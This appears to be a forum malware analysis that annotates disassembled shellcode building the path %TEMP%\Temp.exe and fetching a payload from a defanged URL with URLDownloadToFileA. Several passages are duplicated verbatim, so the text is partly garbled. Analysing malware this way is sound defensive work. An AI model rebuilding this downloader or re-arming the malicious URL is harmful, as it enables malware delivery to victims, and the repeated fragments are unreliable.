.data:000000ed cld => CLears the Direction flag (because of the rep below)
.data:000000ee mov esi,eax
.data:000000f0 rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
=> writes "C:\Users\DardiM\AppData\Local\Temp" on the part that we have seen have a lot of 000000 (begins at .data:00000156), in unicode (2 bytes by char)
.data:000000f2 add edi,0x2
.data:000000f5 mov eax,edi
.data:000000f7 pop edi
.data:000000f8 call 0x000000fe
.data:000000fd ret
.data:000000fe xor ecx,ecx
.data:00000100 xor edx,edx
.data:00000102 mov bl,BYTE PTR [edi+edx*1]
.data:00000105 mov BYTE PTR [eax+ecx*1],bl
.data:00000108 inc ecx
.data:00000109 add edx,0x2
.data:0000010c cmp bl,0x0
.data:0000010f 7 jne 0x00000102
.data:00000111 dec ecx
.data:00000116 inc ecx
.data:00000117 mov BYTE PTR [eax+ecx*1],0x54 => "T"
.data:0000011b inc ecx
.data:0000011c mov BYTE PTR [eax+ecx*1],0x65 => "e"
.data:00000120 inc ecx
.data:00000121 mov BYTE PTR [eax+ecx*1],0x6d => "m"
.data:00000125 inc ecx
.data:00000126 mov BYTE PTR [eax+ecx*1],0x70 => "p"
.data:0000012a inc ecx
.data:0000012b mov BYTE PTR [eax+ecx*1],0x2e => "."
.data:0000012f inc ecx
.data:00000130 mov BYTE PTR [eax+ecx*1],0x65 => "e"
.data:00000134 inc ecx
.data:00000135 mov BYTE PTR [eax+ecx*1],0x78 => "x"
.data:00000139 inc ecx
.data:0000013a mov BYTE PTR [eax+ecx*1],0x65 => "e"
.data:0000013e inc ecx
.data:0000013f mov BYTE PTR [eax+ecx*1],0x0 => end of string
.data:00000100 xor edx,edx
.data:00000102 mov bl,BYTE PTR [edi+edx*1]
.data:00000105 mov BYTE PTR [eax+ecx*1],bl
.data:00000108 inc ecx
.data:00000109 add edx,0x2
.data:0000010c cmp bl,0x0
.data:0000010f 7 jne 0x00000102
.data:00000111 dec ecx
=> writes from UNICODE to ASCII "C:\Users\DardiM\AppData\Local\Temp"
(location => .data:0000019A)
.data:00000112 mov BYTE PTR [eax+ecx*1],0x5c => "\"(location => .data:0000019A)
.data:00000116 inc ecx
.data:00000117 mov BYTE PTR [eax+ecx*1],0x54 => "T"
.data:0000011b inc ecx
.data:0000011c mov BYTE PTR [eax+ecx*1],0x65 => "e"
.data:00000120 inc ecx
.data:00000121 mov BYTE PTR [eax+ecx*1],0x6d => "m"
.data:00000125 inc ecx
.data:00000126 mov BYTE PTR [eax+ecx*1],0x70 => "p"
.data:0000012a inc ecx
.data:0000012b mov BYTE PTR [eax+ecx*1],0x2e => "."
.data:0000012f inc ecx
.data:00000130 mov BYTE PTR [eax+ecx*1],0x65 => "e"
.data:00000134 inc ecx
.data:00000135 mov BYTE PTR [eax+ecx*1],0x78 => "x"
.data:00000139 inc ecx
.data:0000013a mov BYTE PTR [eax+ecx*1],0x65 => "e"
.data:0000013e inc ecx
.data:0000013f mov BYTE PTR [eax+ecx*1],0x0 => end of string
=> writes the text : \Temp.exe
after "C:\Users\DardiM\AppData\Local\Temp" (the ASCII version)
after "C:\Users\DardiM\AppData\Local\Temp" (the ASCII version)
.data:00000143 ret
.data:00000144 call 0x000000c1
.
.data:0000014a add BYTE PTR [ebp+0x0],cl
.data:0000014d push eax
.data:0000014e 00 3d 00
We have seen previously that :
.data:00000144 call 0x000000c1
Then :.data after :
"TMP ="
=> right location : .data:00000151 => e8 95 ff ff ff => a call to .data:0000000eb
.data:00000156 00
00
00
00
...
...
00
=> overwritten by :00
00
00
...
...
00
"C:\Users\DardiM\AppData\Local\Temp" : each char coded in Unicode ( 2 bytes by char)
+ 00 00 00
and after :
from : .data:0000019A
"C:\Users\DardiM\AppData\Local\Temp\Temp.exe" : ASCII coded ( 1 byte by char)
Conclusion :+ 00 00 00
and after :
from : .data:0000019A
"C:\Users\DardiM\AppData\Local\Temp\Temp.exe" : ASCII coded ( 1 byte by char)
payload
from : hXXp://klh.ytlzg.xyz/e.php (XX = tt, I just protected the link)
to : %TEMP%\Temp.exe
using URLDownloadToFileA (urlmon.dll)
The Main sub function (0x00000002) explained in this post :
from : hXXp://klh.ytlzg.xyz/e.php (XX = tt, I just protected the link)
to : %TEMP%\Temp.exe
using URLDownloadToFileA (urlmon.dll)
The Main sub function (0x00000002) explained in this post :
Last edited: